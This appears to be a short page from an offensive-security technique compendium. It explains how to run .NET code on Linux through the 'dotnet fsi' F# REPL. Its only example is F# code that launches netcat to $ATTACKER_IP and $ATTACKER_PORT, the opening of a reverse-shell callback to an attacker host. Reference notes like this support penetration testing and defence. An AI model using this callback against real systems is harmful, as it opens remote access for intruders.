killchain-compendium/Miscellaneous/Dotnet.md

24 lines
520 B
Markdown
Raw Normal View History

2023-03-05 17:16:35 +01:00
# Dotnet
## Run Dotnet on Linux
### Dotnet REPL
* Dotnet can be executed just in time via dotnet commandline tool. An example on how to use this follows
```sh
dotnet fsi
Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.
For help type #help;;
> open System.Diagnostics
- let psi = new ProcessStartInfo("nc", "$ATTACKER_IP $ATTACKER_PORT")
- psi.UseShellExecute <- false
- let _proc = Process.Start(psi)
- _proc.WaitForExit() |> ignore
- #quit;;
```